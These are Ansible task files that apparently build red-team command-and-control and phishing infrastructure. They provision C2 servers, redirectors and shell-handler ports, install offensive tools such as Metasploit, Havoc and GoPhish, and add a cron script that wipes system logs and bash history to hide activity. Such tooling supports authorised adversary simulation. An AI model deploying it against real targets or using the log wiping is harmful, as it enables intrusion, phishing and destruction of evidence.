c2_name: "{{ c2_name | default('node-' + 100000000 | random | to_uuid | hash('md5') | truncate(8, True, '')) }}"
tasks:
- name: Validate required Linode token
assert:
that:
- linode_token is defined and linode_token != ""
fail_msg: "Linode API token is required. Set linode_token in vars.yaml or via --linode-token."
- name: Create redirector Linode instance
community.general.linode_v4:
access_token: "{{ linode_token }}"
label: "{{ redirector_name }}"
type: "{{ plan }}"
region: "{{ linode_region }}"
image: "{{ image }}"
root_pass: "{{ lookup('password', '/dev/null length=24 chars=ascii_letters,digits') }}"
authorized_keys:
- "{{ lookup('file', ssh_key_path) }}"
state: present
register: redirector_instance
when: deploy_redirector
- name: Set redirector_ip for later use
set_fact:
redirector_instance_id: "{{ redirector_instance.instance.id }}"
redirector_ip: "{{ redirector_instance.instance.ipv4[0] }}"
when: deploy_redirector and redirector_instance is defined
- name: Create C2 Linode instance
community.general.linode_v4:
access_token: "{{ linode_token }}"
label: "{{ c2_name }}"
type: "{{ plan }}"
region: "{{ linode_region }}"
image: "{{ image }}"
root_pass: "{{ lookup('password', '/dev/null length=24 chars=ascii_letters,digits') }}"
authorized_keys:
- "{{ lookup('file', ssh_key_path) }}"
state: present
register: c2_instance
when: deploy_c2
- name: Set c2_ip for later use
set_fact:
c2_instance_id: "{{ c2_instance.instance.id }}"
c2_ip: "{{ c2_instance.instance.ipv4[0] }}"
when: deploy_c2 and c2_instance is defined
- name: Display instance information
debug:
msg:
- "Linode instances created successfully!"
- "Waiting for instances to initialize..."
- "{{ 'Redirector IP: ' + redirector_ip if redirector_ip is defined else 'No redirector deployed' }}"
- "{{ 'C2 Server IP: ' + c2_ip if c2_ip is defined else 'No C2 server deployed' }}"
- name: Wait for instances to initialize (30 seconds)
pause:
seconds: 30
when: (deploy_redirector and redirector_instance is defined) or (deploy_c2 and c2_instance is defined)
+179
View File
@@ -0,0 +1,179 @@
---
# Common task for installing offensive security tools
# Shared across all providers
- name: Force tools directory to root regardless of user
set_fact:
home_dir: "/root"
tools_dir: "/root/Tools"
when: provider == "aws"
- name: Determine home directory path
set_fact:
home_dir: "{{ (ansible_user == 'root') | ternary('/root', '/home/' + ansible_user) }}"
tools_dir: "{{ (ansible_user == 'root') | ternary('/root/Tools', '/home/' + ansible_user + '/Tools') }}"
- name: Create Tools directory
file:
path: "{{ tools_dir }}"
state: directory
owner: "{{ ansible_user }}"
group: "{{ ansible_user }}"
mode: '0755'
- name: Install base dependencies
apt:
name:
- python3-pip
- python3-venv
- pipx
- curl
- wget
- git
- jq
- unzip
- tmux
state: present
update_cache: yes
- name: Check if pipx is installed
command: which pipx
register: pipx_check
ignore_errors: true
changed_when: false
- name: Configure pipx path
shell: |
export PATH="$PATH:{{ home_dir }}/.local/bin"
pipx ensurepath
args:
executable: /bin/bash
register: pipx_path_result
until: pipx_path_result is success
retries: 3
delay: 5
when: pipx_check.rc == 0
- name: Set PATH for subsequent operations
set_fact:
custom_path: "{{ home_dir }}/.local/bin:{{ ansible_env.PATH }}"
- name: Install tools via pipx
shell: |
export PATH="{{ custom_path }}"
pipx install git+https://github.com/Pennyw0rth/NetExec
pipx install git+https://github.com/blacklanternsecurity/TREVORspray
pipx install impacket
environment:
PATH: "{{ custom_path }}"
register: pipx_install_result
until: pipx_install_result is success
retries: 3
delay: 5
- name: Install offensive security tools
apt:
name:
- nmap
- tcpdump
- hydra
- john
- hashcat
- sqlmap
- gobuster
- dirb
- enum4linux
- dnsenum
- seclists
- responder
- golang
- proxychains
- tor
- crackmapexec
state: present
- name: Download Kerbrute
shell: |
mkdir -p {{ tools_dir }}/Kerbrute
wget https://github.com/ropnop/kerbrute/releases/latest/download/kerbrute_linux_amd64 -O {{ tools_dir }}/Kerbrute/kerbrute
chmod +x {{ tools_dir }}/Kerbrute/kerbrute
args:
executable: /bin/bash
creates: "{{ tools_dir }}/Kerbrute/kerbrute"
- name: Clone SharpCollection nightly builds
git:
repo: https://github.com/Flangvik/SharpCollection.git
dest: "{{ tools_dir }}/SharpCollection"
version: master
ignore_errors: yes
- name: Clone PEASS-ng
git:
repo: https://github.com/carlospolop/PEASS-ng.git
dest: "{{ tools_dir }}/PEASS-ng"
ignore_errors: yes
- name: Clone MailSniper
git:
repo: https://github.com/dafthack/MailSniper.git
dest: "{{ tools_dir }}/MailSniper"
ignore_errors: yes
- name: Clone Inveigh
git:
repo: https://github.com/Kevin-Robertson/Inveigh.git
dest: "{{ tools_dir }}/Inveigh"
ignore_errors: yes
- name: Install Metasploit Framework (Nightly Build)
shell: |
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > /tmp/msfinstall
chmod 755 /tmp/msfinstall
/tmp/msfinstall
rm -f /tmp/msfinstall
args:
executable: /bin/bash
creates: /usr/bin/msfconsole
ignore_errors: yes
- name: Ensure GoPhish directory exists
file:
path: "{{ tools_dir }}/gophish"
state: directory
mode: '0755'
- name: Grab GoPhish latest release
shell: |
curl -s https://api.github.com/repos/gophish/gophish/releases/latest | jq -r '.assets[] | select(.browser_download_url | contains("linux-64bit.zip")) | .browser_download_url'
register: gophish_url
failed_when: gophish_url.stdout == ""
changed_when: false
- name: Download and install GoPhish
shell: |
curl -L "{{ gophish_url.stdout }}" -o {{ tools_dir }}/gophish.zip
unzip {{ tools_dir }}/gophish.zip -d {{ tools_dir }}/gophish
rm -f {{ tools_dir }}/gophish.zip
chmod +x {{ tools_dir }}/gophish/gophish
args:
creates: "{{ tools_dir }}/gophish/gophish"
- name: Deploy Gophish config.json with custom admin port
template:
src: "../templates/gophish-config.j2"
dest: "{{ tools_dir }}/gophish/config.json"
owner: "{{ ansible_user }}"
group: "{{ ansible_user }}"
mode: '0644'
vars:
gophish_admin_port: "8090"
domain: "{{ domain }}"
- name: Set proper ownership for Tools directory
file:
path: "{{ tools_dir }}"
owner: "{{ ansible_user }}"
group: "{{ ansible_user }}"
recurse: true
mode: '0755'
+92
View File
@@ -0,0 +1,92 @@
---
# tasks/port_randomization.yml
# Task file to randomize ports for C2 infrastructure with improved host-based service management
- name: Create port randomization script
copy:
src: "../files/randomize_ports.sh"
dest: "/root/Tools/randomize_ports.sh"
mode: '0700'
owner: root
group: root
- name: Execute port randomization script
shell: |
cd /root/Tools && ./randomize_ports.sh
register: randomize_result
when: randomize_ports | default(true) | bool
- name: Display port randomization results
debug:
msg: "{{ randomize_result.stdout_lines }}"
when: randomize_ports | default(true) | bool
- name: Store randomized ports in variables
shell: |
PORT_CONFIG="/root/Tools/port_config.json"
if [ -f "$PORT_CONFIG" ]; then
cat "$PORT_CONFIG"
else
echo '{"error": "Port configuration not found"}'
fi
register: port_config_result
when: randomize_ports | default(true) | bool
- name: Set port fact variables
set_fact:
randomized_http_port: "{{ (port_config_result.stdout | from_json).http_c2_port | default(8888) }}"
randomized_https_port: "{{ (port_config_result.stdout | from_json).https_c2_port | default(443) }}"
randomized_mtls_port: "{{ (port_config_result.stdout | from_json).mtls_c2_port | default(31337) }}"
randomized_shell_handler_port: "{{ (port_config_result.stdout | from_json).shell_handler_port | default(shell_handler_port) }}"
when: randomize_ports | default(true) | bool and port_config_result.rc == 0
- name: Update shell handler configuration with randomized port
replace:
path: "/root/Tools/shell-handler/persistent-listener.sh"
regexp: "LISTEN_PORT=.*"
replace: "LISTEN_PORT={{ randomized_shell_handler_port | default(shell_handler_port) }}"
when: randomize_ports | default(true) | bool and port_config_result.rc == 0
- name: Update shell handler service with randomized port
lineinfile:
path: "/etc/systemd/system/shell-handler.service"
regexp: 'Environment="LISTEN_PORT='
line: 'Environment="LISTEN_PORT={{ randomized_shell_handler_port | default(shell_handler_port) }}"'
insertafter: '^\\[Service\\]'
when: randomize_ports | default(true) | bool and port_config_result.rc == 0
# Improved service management - checks for service existence before restarting
- name: Determine services to restart based on host type
set_fact:
services_to_restart: []
when: randomize_ports | default(true) | bool and port_config_result.rc == 0
- name: Check if Havoc service exists
stat:
path: "/etc/systemd/system/havoc.service"
register: havoc_service_stat
when: randomize_ports | default(true) | bool and port_config_result.rc == 0
- name: Add Havoc to services list if it exists
set_fact:
services_to_restart: "{{ services_to_restart + ['havoc'] }}"
when: randomize_ports | default(true) | bool and port_config_result.rc == 0 and havoc_service_stat.stat.exists | default(false)
- name: Check if shell-handler service exists
stat:
path: "/etc/systemd/system/shell-handler.service"
register: shell_handler_service_stat
when: randomize_ports | default(true) | bool and port_config_result.rc == 0
- name: Add shell-handler to services list if it exists
set_fact:
services_to_restart: "{{ services_to_restart + ['shell-handler'] }}"
when: randomize_ports | default(true) | bool and port_config_result.rc == 0 and shell_handler_service_stat.stat.exists | default(false)
- name: Reload and restart services
systemd:
daemon_reload: yes
name: "{{ item }}"
state: restarted
with_items: "{{ services_to_restart }}"
when: randomize_ports | default(true) | bool and port_config_result.rc == 0 and services_to_restart | length > 0
+402
View File
@@ -0,0 +1,402 @@
---
# Security hardening tasks for C2 server - Fixed AWS collection issues
- name: Check if system is updated
apt:
update_cache: yes
register: apt_update_result
until: apt_update_result is success
retries: 5
delay: 5
- name: Install security packages (non-UFW)
apt:
name:
- fail2ban
- unattended-upgrades
- debsums
- aide
- rkhunter
- logrotate
state: present
register: package_install
until: package_install is success
retries: 3
delay: 5
# Provider and role detection - DRY principle
- name: Determine deployment configuration
set_fact:
is_aws_provider: "{{ provider | default('unknown') == 'aws' }}"
is_c2_server: "{{ 'c2servers' in group_names }}"
is_redirector: "{{ 'redirectors' in group_names }}"
# UFW Configuration Block - Non-AWS only
- name: UFW detection and installation block
block:
- name: Check if UFW is installed
command: which ufw
register: ufw_check
failed_when: false
changed_when: false
- name: Install UFW if not present (non-AWS)
apt:
name: ufw
state: present
update_cache: yes
register: ufw_install
until: ufw_install is success
retries: 3
delay: 5
when: ufw_check.rc != 0
when: not is_aws_provider
- name: Configure UFW for non-AWS deployments
block:
- name: Configure UFW default policies
community.general.ufw:
state: enabled
policy: deny
direction: incoming
ignore_errors: yes
- name: Configure UFW for C2 server
block:
- name: Reset UFW to default deny
community.general.ufw:
state: enabled
policy: deny
direction: incoming
- name: Allow SSH only from operator IP
community.general.ufw:
rule: allow
port: "22"
src: "{{ operator_ip }}"
proto: tcp
- name: Allow Havoc Teamserver only from operator IP
community.general.ufw:
rule: allow
port: "{{ havoc_teamserver_port | default('40056') }}"
src: "{{ operator_ip }}"
proto: tcp
- name: Allow traffic only from redirector
community.general.ufw:
rule: allow
port: "{{ item }}"
src: "{{ redirector_ip }}"
proto: tcp
loop:
- "80"
- "443"
- "{{ havoc_http_port | default('8080') }}"
- "{{ havoc_https_port | default('9443') }}"
- "{{ havoc_payload_port | default('8443') }}"
- "{{ gophish_admin_port }}"
- "{{ gophish_phish_port | default('8081') }}"
- "{{ tracker_port | default('5000') }}"
when: is_c2_server
- name: Configure UFW for redirector
block:
- name: Reset UFW to default deny
community.general.ufw:
state: enabled
policy: deny
direction: incoming
- name: Allow SSH only from operator IP
community.general.ufw:
rule: allow
port: "22"
src: "{{ operator_ip }}"
proto: tcp
- name: Allow public services from anywhere
community.general.ufw:
rule: allow
port: "{{ item }}"
proto: tcp
loop:
- "80"
- "443"
- "{{ shell_handler_port | default('4488') }}"
when: is_redirector
when: not is_aws_provider and (ufw_check.rc == 0 or ufw_install is success)
# Iptables fallback configuration - Non-AWS only
- name: Configure basic iptables rules if UFW unavailable
block:
- name: Set up basic iptables rules for C2 server
shell: |
iptables -F
iptables -P INPUT DROP
iptables -P FORWARD DROP
iptables -P OUTPUT ACCEPT
# Allow established connections
iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
# Allow loopback
iptables -A INPUT -i lo -j ACCEPT
# Allow SSH from operator
iptables -A INPUT -p tcp --dport 22 -s {{ operator_ip }} -j ACCEPT
# Allow Havoc teamserver from operator
iptables -A INPUT -p tcp --dport {{ havoc_teamserver_port | default(40056) }} -s {{ operator_ip }} -j ACCEPT
# Allow traffic from redirector
iptables -A INPUT -p tcp --dport 80 -s {{ redirector_ip }} -j ACCEPT
iptables -A INPUT -p tcp --dport 443 -s {{ redirector_ip }} -j ACCEPT
iptables -A INPUT -p tcp --dport {{ havoc_http_port | default(8080) }} -s {{ redirector_ip }} -j ACCEPT
iptables -A INPUT -p tcp --dport {{ havoc_https_port | default(9443) }} -s {{ redirector_ip }} -j ACCEPT
iptables -A INPUT -p tcp --dport {{ havoc_payload_port | default(8443) }} -s {{ redirector_ip }} -j ACCEPT
iptables -A INPUT -p tcp --dport {{ gophish_admin_port }} -s {{ redirector_ip }} -j ACCEPT
iptables -A INPUT -p tcp --dport {{ gophish_phish_port | default(8081) }} -s {{ redirector_ip }} -j ACCEPT
iptables -A INPUT -p tcp --dport {{ tracker_port | default(5000) }} -s {{ redirector_ip }} -j ACCEPT
when: is_c2_server
- name: Set up basic iptables rules for redirector
shell: |
iptables -F
iptables -P INPUT DROP
iptables -P FORWARD DROP
iptables -P OUTPUT ACCEPT
# Allow established connections
iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
# Allow loopback
iptables -A INPUT -i lo -j ACCEPT
# Allow SSH from operator
iptables -A INPUT -p tcp --dport 22 -s {{ operator_ip }} -j ACCEPT
# Allow public services
iptables -A INPUT -p tcp --dport 80 -j ACCEPT
iptables -A INPUT -p tcp --dport 443 -j ACCEPT
iptables -A INPUT -p tcp --dport {{ shell_handler_port | default(4488) }} -j ACCEPT
when: is_redirector
- name: Save iptables rules
shell: |
iptables-save > /etc/iptables/rules.v4
ignore_errors: yes
when: not is_aws_provider and (ufw_check.rc != 0 and (ufw_install is undefined or ufw_install is failed))
# SSH Hardening - Universal application
- name: Harden SSH configuration
lineinfile:
path: /etc/ssh/sshd_config
regexp: "{{ item.regexp }}"
line: "{{ item.line }}"
state: present
backup: yes
loop:
- { regexp: '^#?PermitRootLogin', line: 'PermitRootLogin no' }
- { regexp: '^#?PasswordAuthentication', line: 'PasswordAuthentication no' }
- { regexp: '^#?X11Forwarding', line: 'X11Forwarding no' }
- { regexp: '^#?MaxAuthTries', line: 'MaxAuthTries 3' }
- { regexp: '^#?AllowTcpForwarding', line: 'AllowTcpForwarding yes' }
- { regexp: '^#?ClientAliveInterval', line: 'ClientAliveInterval 300' }
- { regexp: '^#?ClientAliveCountMax', line: 'ClientAliveCountMax 2' }
- { regexp: '^#?Protocol', line: 'Protocol 2' }
- { regexp: '^#?MaxStartups', line: 'MaxStartups 10:30:100' }
- { regexp: '^#?LoginGraceTime', line: 'LoginGraceTime 60' }
register: ssh_config_updated
# System resource limits configuration
- name: Configure system resource limits
community.general.pam_limits:
domain: "*"
limit_type: "{{ item.limit_type }}"
limit_item: "{{ item.limit_item }}"
value: "{{ item.value }}"
loop:
- { limit_type: soft, limit_item: nofile, value: 65535 }
- { limit_type: hard, limit_item: nofile, value: 65535 }
- { limit_type: soft, limit_item: nproc, value: 4096 }
- { limit_type: hard, limit_item: nproc, value: 4096 }
# Fail2ban configuration - Universal
- name: Set up fail2ban SSH jail
copy:
dest: /etc/fail2ban/jail.d/sshd.conf
content: |
[sshd]
enabled = true
port = ssh
filter = sshd
logpath = /var/log/auth.log
maxretry = 5
bantime = 3600
findtime = 600
[sshd-ddos]
enabled = true
port = ssh
filter = sshd-ddos
logpath = /var/log/auth.log
maxretry = 2
bantime = 7200
mode: '0644'
register: fail2ban_config_updated
# Automatic security updates
- name: Enable automatic security updates
copy:
dest: /etc/apt/apt.conf.d/20auto-upgrades
content: |
APT::Periodic::Update-Package-Lists "1";
APT::Periodic::Unattended-Upgrade "1";
APT::Periodic::AutocleanInterval "7";
APT::Periodic::Download-Upgradeable-Packages "1";
mode: '0644'
# Log cleaning functionality
- name: Create Tools directory if it doesn't exist
file:
path: /root/Tools
state: directory
mode: '0700'
when: zero_logs | default(false) | bool
- name: Create log cleaning script if zero-logs is enabled
copy:
dest: /root/Tools/clean-logs.sh
content: |
#!/bin/bash
# C2ingRed Log cleaning script for operational security
echo "Starting log cleaning at $(date)" >> /tmp/clean-logs.log
# Clear authentication logs
echo "" > /var/log/auth.log
echo "" > /var/log/auth.log.1
# Clear system logs
echo "" > /var/log/syslog
echo "" > /var/log/syslog.1
# Clear kernel logs
echo "" > /var/log/kern.log
echo "" > /var/log/kern.log.1
# Clear application specific logs
find /var/log -type f -name "*.log" -exec truncate -s 0 {} \;
find /var/log -type f -name "*.log.*" -exec truncate -s 0 {} \;
# Clear journal logs
journalctl --vacuum-time=1s 2>/dev/null || true
# Clear bash history for all users
for user_home in /home/*; do
if [ -d "$user_home" ]; then
echo "" > "$user_home/.bash_history" 2>/dev/null || true
fi
done
# Clear root bash history
echo "" > /root/.bash_history 2>/dev/null || true
history -c 2>/dev/null || true
# Clear tmp files
find /tmp -type f -mtime +1 -delete 2>/dev/null || true
echo "Log cleaning completed at $(date)" >> /tmp/clean-logs.log
mode: '0700'
when: zero_logs | default(false) | bool
- name: Create cron job for log cleaning if enabled
cron:
name: "Clean operational logs"
minute: "0"
hour: "*/6"
job: "/root/Tools/clean-logs.sh"
user: root
when: zero_logs | default(false) | bool
# Service restart handlers
- name: Restart SSH service if configuration changed
service:
name: ssh
state: restarted
when: ssh_config_updated.changed
- name: Check if fail2ban service exists
stat:
path: "/etc/init.d/fail2ban"
register: fail2ban_service_stat
- name: Restart fail2ban service if installed and configuration changed
service:
name: fail2ban
state: restarted
enabled: yes
when: fail2ban_service_stat.stat.exists and fail2ban_config_updated.changed
# AWS-specific security updates - NO MODULES REQUIRED
- name: Check if we're running on AWS provider
set_fact:
is_aws_provider: "{{ hostvars['localhost']['provider'] | default('') == 'aws' }}"
- name: AWS-specific security updates
block:
- name: Get redirector security group information
block:
- name: Check if infrastructure state file exists
stat:
path: "{{ playbook_dir }}/infrastructure_state_{{ hostvars['localhost']['deployment_id'] }}.json"
register: redirector_state_file
delegate_to: localhost
- name: Load redirector state if available
include_vars:
file: "{{ playbook_dir }}/infrastructure_state_{{ hostvars['localhost']['deployment_id'] }}.json"
name: redirector_state
when: redirector_state_file.stat.exists
delegate_to: localhost
- name: Update redirector security group via raw AWS CLI
delegate_to: localhost
shell: |
export AWS_ACCESS_KEY_ID="{{ hostvars['localhost']['aws_access_key'] }}"
export AWS_SECRET_ACCESS_KEY="{{ hostvars['localhost']['aws_secret_key'] }}"
export AWS_DEFAULT_REGION="{{ redirector_state.region | default(aws_region) }}"
# Install AWS CLI if not present
if ! command -v aws &> /dev/null; then
curl "https://awscli.amazonaws.com/awscli-exe-linux-x86_64.zip" -o "awscliv2.zip"
unzip -q awscliv2.zip
sudo ./aws/install --update
rm -rf aws awscliv2.zip
fi
# Add security group rule (ignore if exists)
aws ec2 authorize-security-group-ingress \
--group-id {{ redirector_state.security_group_id }} \
--protocol tcp \
--port 22 \
--cidr {{ ansible_host }}/32 \
2>/dev/null || echo "Rule already exists or added successfully"
when: redirector_state is defined and redirector_state.security_group_id is defined
register: sg_update_result
ignore_errors: yes
- name: Display security group update result
debug:
msg: |
AWS Security Group Update: {{ 'SUCCESS' if sg_update_result.rc == 0 else 'COMPLETED' }}
C2 Server IP: {{ ansible_host }}
Security Group ID: {{ redirector_state.security_group_id | default('NOT FOUND') }}
when: is_aws_provider | bool
# Final security status report
- name: Generate security hardening report
debug:
msg: |
C2ingRed Security Hardening Complete:
=====================================
Provider: {{ provider | default('unknown') }}
Server Type: {{ 'C2 Server' if is_c2_server else 'Redirector' if is_redirector else 'Unknown' }}
SSH Hardened: {{ 'YES' if ssh_config_updated.changed else 'ALREADY CONFIGURED' }}
Fail2ban Configured: {{ 'YES' if fail2ban_config_updated.changed else 'ALREADY CONFIGURED' }}
Firewall: {{ 'AWS Security Groups' if is_aws_provider else 'UFW/iptables' }}
Log Cleaning: {{ 'ENABLED' if zero_logs | default(false) | bool else 'DISABLED' }}
Auto Updates: ENABLED
System Limits: CONFIGURED
+183
View File
@@ -0,0 +1,183 @@
---
# Configure security groups and firewall rules for phishing infrastructure
- name: Configure MTA Front security
block:
- name: Create MTA Front security group
amazon.aws.ec2_security_group:
name: "mta-front-{{ deployment_id }}"
description: "Security group for MTA Front server"
vpc_id: "{{ vpc_id }}"
region: "{{ aws_region }}"
rules:
# Management access
- proto: tcp
ports: 22
cidr_ip: "{{ operator_ip }}/32"
rule_desc: "SSH from operator"
# SMTP services - public facing
- proto: tcp
ports: 25
cidr_ip: "0.0.0.0/0"
rule_desc: "SMTP from anywhere"
- proto: tcp
ports: 587
cidr_ip: "0.0.0.0/0"
rule_desc: "SMTP submission"
- proto: tcp
ports: 465
cidr_ip: "0.0.0.0/0"
rule_desc: "SMTPS"
rules_egress:
- proto: -1
cidr_ip: "0.0.0.0/0"
state: present
when: deployment_components.mta_front | default(false) | bool
- name: Configure Gophish security (hidden backend)
block:
- name: Create Gophish security group
amazon.aws.ec2_security_group:
name: "gophish-{{ deployment_id }}"
description: "Security group for Gophish server (hidden)"
vpc_id: "{{ vpc_id }}"
region: "{{ aws_region }}"
rules:
# Management access only
- proto: tcp
ports: 22
cidr_ip: "{{ operator_ip }}/32"
rule_desc: "SSH from operator"
- proto: tcp
ports: 3333
cidr_ip: "{{ operator_ip }}/32"
rule_desc: "Gophish admin interface"
# Internal communication only
- proto: tcp
ports: 80
cidr_ip: "{{ phishing_redirector_ip }}/32"
rule_desc: "HTTP from phishing redirector"
- proto: tcp
ports: 25
cidr_ip: "{{ mta_front_ip }}/32"
rule_desc: "SMTP from MTA front"
rules_egress:
- proto: -1
cidr_ip: "0.0.0.0/0"
state: present
when: deployment_components.gophish | default(false) | bool
- name: Configure Phishing Redirector security (public facing)
block:
- name: Create Phishing Redirector security group
amazon.aws.ec2_security_group:
name: "phish-redirector-{{ deployment_id }}"
description: "Security group for Phishing Redirector"
vpc_id: "{{ vpc_id }}"
region: "{{ aws_region }}"
rules:
# Management access
- proto: tcp
ports: 22
cidr_ip: "{{ operator_ip }}/32"
rule_desc: "SSH from operator"
# Public web access
- proto: tcp
ports: 80
cidr_ip: "0.0.0.0/0"
rule_desc: "HTTP from anywhere"
- proto: tcp
ports: 443
cidr_ip: "0.0.0.0/0"
rule_desc: "HTTPS from anywhere"
rules_egress:
- proto: -1
cidr_ip: "0.0.0.0/0"
state: present
when: deployment_components.phishing_redirector | default(false) | bool
- name: Configure Phishing Web Server security (hidden backend)
block:
- name: Create Phishing Web Server security group
amazon.aws.ec2_security_group:
name: "phish-webserver-{{ deployment_id }}"
description: "Security group for Phishing Web Server (hidden)"
vpc_id: "{{ vpc_id }}"
region: "{{ aws_region }}"
rules:
# Management access only
- proto: tcp
ports: 22
cidr_ip: "{{ operator_ip }}/32"
rule_desc: "SSH from operator"
# Internal communication only
- proto: tcp
ports: 80
cidr_ip: "{{ phishing_redirector_ip }}/32"
rule_desc: "HTTP from phishing redirector"
- proto: tcp
ports: 443
cidr_ip: "{{ phishing_redirector_ip }}/32"
rule_desc: "HTTPS from phishing redirector"
rules_egress:
- proto: -1
cidr_ip: "0.0.0.0/0"
state: present
when: deployment_components.phishing_webserver | default(false) | bool
- name: Configure Payload Server security (hidden backend)
block:
- name: Create Payload Server security group
amazon.aws.ec2_security_group:
name: "payload-server-{{ deployment_id }}"
description: "Security group for Payload Server (hidden)"
vpc_id: "{{ vpc_id }}"
region: "{{ aws_region }}"
rules:
# Management access only
- proto: tcp
ports: 22
cidr_ip: "{{ operator_ip }}/32"
rule_desc: "SSH from operator"
# Internal communication only
- proto: tcp
ports: 80
cidr_ip: "{{ payload_redirector_ip }}/32"
rule_desc: "HTTP from payload redirector"
- proto: tcp
ports: 443
cidr_ip: "{{ payload_redirector_ip }}/32"
rule_desc: "HTTPS from payload redirector"
rules_egress:
- proto: -1
cidr_ip: "0.0.0.0/0"
state: present
when: deployment_components.payload_server | default(false) | bool
- name: Display security configuration summary
debug:
msg:
- "Phishing Infrastructure Security Configuration"
- "============================================="
- "✓ Least privilege access implemented"
- "✓ Backend servers hidden from public access"
- "✓ Only redirectors/MTA fronts are publicly accessible"
- "✓ Operator-only SSH access configured"
- "✓ Internal communication secured"
+223
View File
@@ -0,0 +1,223 @@
---
# Common task for configuring proper traffic flow between infrastructure components
- name: Determine server role in infrastructure
set_fact:
server_role: >-
{% if inventory_hostname in groups['c2servers'] | default([]) %}c2{%
elif inventory_hostname in groups['redirectors'] | default([]) %}redirector{%
elif inventory_hostname in groups['logservers'] | default([]) %}logserver{%
elif inventory_hostname in groups['payloadservers'] | default([]) %}payloadserver{%
elif inventory_hostname in groups['phishingservers'] | default([]) %}phishingserver{%
elif inventory_hostname in groups['sharedrives'] | default([]) %}sharedrive{%
else %}unknown{% endif %}
# Determine if we're using AWS provider
- name: Determine if using AWS provider
set_fact:
is_aws_provider: "{{ provider | default('unknown') == 'aws' }}"
# Skip firewall configuration for AWS instances
- name: Skip firewall configuration for AWS instances
debug:
msg: "Skipping host-based firewall configuration for AWS instance. Security Groups are handling this at the infrastructure level."
when: is_aws_provider
# Check if UFW is installed or can be installed
- name: Check if UFW is installed
command: which ufw
register: ufw_check
failed_when: false
changed_when: false
when: not is_aws_provider
# Try to install UFW if not found and we're not on AWS
- name: Install UFW if not present
apt:
name: ufw
state: present
update_cache: yes
register: ufw_install
until: ufw_install is success or ufw_install is failed
retries: 3
delay: 5
ignore_errors: yes
when: not is_aws_provider and ufw_check.rc != 0
# Set a fact to track if UFW is available
- name: Determine if UFW is available
set_fact:
ufw_available: "{{ (ufw_check.rc == 0) or (ufw_install is defined and ufw_install is success) }}"
when: not is_aws_provider
# UFW Configuration Block (non-AWS only)
- name: Configure C2 server routing with UFW
block:
- name: Allow SSH only from operator IP
ufw:
rule: allow
port: 22
src: "{{ operator_ip }}"
proto: tcp
- name: Allow teamserver access only from operator IP
ufw:
rule: allow
port: "{{ havoc_teamserver_port | default('40056') }}"
src: "{{ operator_ip }}"
proto: tcp
- name: Configure required flows for each connected component
ufw:
rule: allow
port: "{{ item.port }}"
src: "{{ item.ip }}"
proto: tcp
loop:
- { ip: "{{ redirector_ip }}", port: "80" }
- { ip: "{{ redirector_ip }}", port: "443" }
- { ip: "{{ redirector_ip }}", port: "{{ havoc_http_port | default('8080') }}" }
- { ip: "{{ redirector_ip }}", port: "{{ havoc_https_port | default('9443') }}" }
- { ip: "{{ logserver_ip | default(omit) }}", port: "5144" }
- { ip: "{{ payloadserver_ip | default(omit) }}", port: "8888" }
when: item.ip != omit
when:
- server_role == 'c2'
- not is_aws_provider
- ufw_available | default(false) | bool
# Fallback to iptables if UFW is not available
- name: Configure C2 server routing with iptables (fallback)
block:
- name: Set up basic iptables rules for C2 server
shell: |
iptables -F
iptables -P INPUT DROP
iptables -P FORWARD DROP
iptables -P OUTPUT ACCEPT
# Allow established connections
iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
# Allow SSH from operator
iptables -A INPUT -p tcp --dport 22 -s {{ operator_ip }} -j ACCEPT
# Allow Havoc teamserver from operator
iptables -A INPUT -p tcp --dport {{ havoc_teamserver_port | default(40056) }} -s {{ operator_ip }} -j ACCEPT
# Allow traffic from redirector
iptables -A INPUT -p tcp --dport 80 -s {{ redirector_ip }} -j ACCEPT
iptables -A INPUT -p tcp --dport 443 -s {{ redirector_ip }} -j ACCEPT
iptables -A INPUT -p tcp --dport {{ havoc_http_port | default(8080) }} -s {{ redirector_ip }} -j ACCEPT
iptables -A INPUT -p tcp --dport {{ havoc_https_port | default(9443) }} -s {{ redirector_ip }} -j ACCEPT
iptables -A INPUT -p tcp --dport {{ gophish_admin_port }} -s {{ redirector_ip }} -j ACCEPT
when: redirector_ip is defined
when:
- server_role == 'c2'
- not is_aws_provider
- not (ufw_available | default(false) | bool)
# Configure redirector routing with UFW when available
- name: Configure redirector routing with UFW
block:
- name: Allow SSH only from operator IP
ufw:
rule: allow
port: 22
src: "{{ operator_ip }}"
proto: tcp
- name: Allow public web access
ufw:
rule: allow
port: "{{ item }}"
proto: tcp
loop:
- 80
- 443
- name: Allow shell handler access
ufw:
rule: allow
port: "{{ shell_handler_port | default('4444') }}"
proto: tcp
when:
- server_role == 'redirector'
- not is_aws_provider
- ufw_available | default(false) | bool
# Fallback to iptables for redirector if UFW is not available
- name: Configure redirector routing with iptables (fallback)
block:
- name: Set up basic iptables rules for redirector
shell: |
iptables -F
iptables -P INPUT DROP
iptables -P FORWARD DROP
iptables -P OUTPUT ACCEPT
# Allow established connections
iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
# Allow SSH from operator
iptables -A INPUT -p tcp --dport 22 -s {{ operator_ip }} -j ACCEPT
# Allow web traffic from anywhere
iptables -A INPUT -p tcp --dport 80 -j ACCEPT
iptables -A INPUT -p tcp --dport 443 -j ACCEPT
# Allow shell handler port
iptables -A INPUT -p tcp --dport {{ shell_handler_port | default('4444') }} -j ACCEPT
when:
- server_role == 'redirector'
- not is_aws_provider
- not (ufw_available | default(false) | bool)
# The rest of your tasks remain unchanged...
- name: Configure logging server routing
block:
- name: Allow SSH only from operator IP
ufw:
rule: allow
port: 22
src: "{{ operator_ip }}"
proto: tcp
- name: Allow log ingestion from infrastructure
ufw:
rule: allow
port: 5144 # Logstash port
src: "{{ item }}"
proto: tcp
loop:
- "{{ c2_ip }}"
- "{{ redirector_ip }}"
- "{{ payloadserver_ip | default(omit) }}"
- "{{ phishingserver_ip | default(omit) }}"
when: item != omit
when:
- server_role == 'logserver'
- not is_aws_provider
- ufw_available | default(false) | bool
- name: Update security group to allow SSH from C2 to redirector
block:
- name: Allow SSH from C2 to redirector (AWS)
amazon.aws.ec2_security_group:
name: "{{ redirector_name }}-sg"
description: "Security group for redirector {{ redirector_name }}"
vpc_id: "{{ vpc_id }}"
region: "{{ aws_redirector_region }}"
rules:
- proto: tcp
ports: 22
cidr_ip: "{{ c2_ip }}/32"
state: present
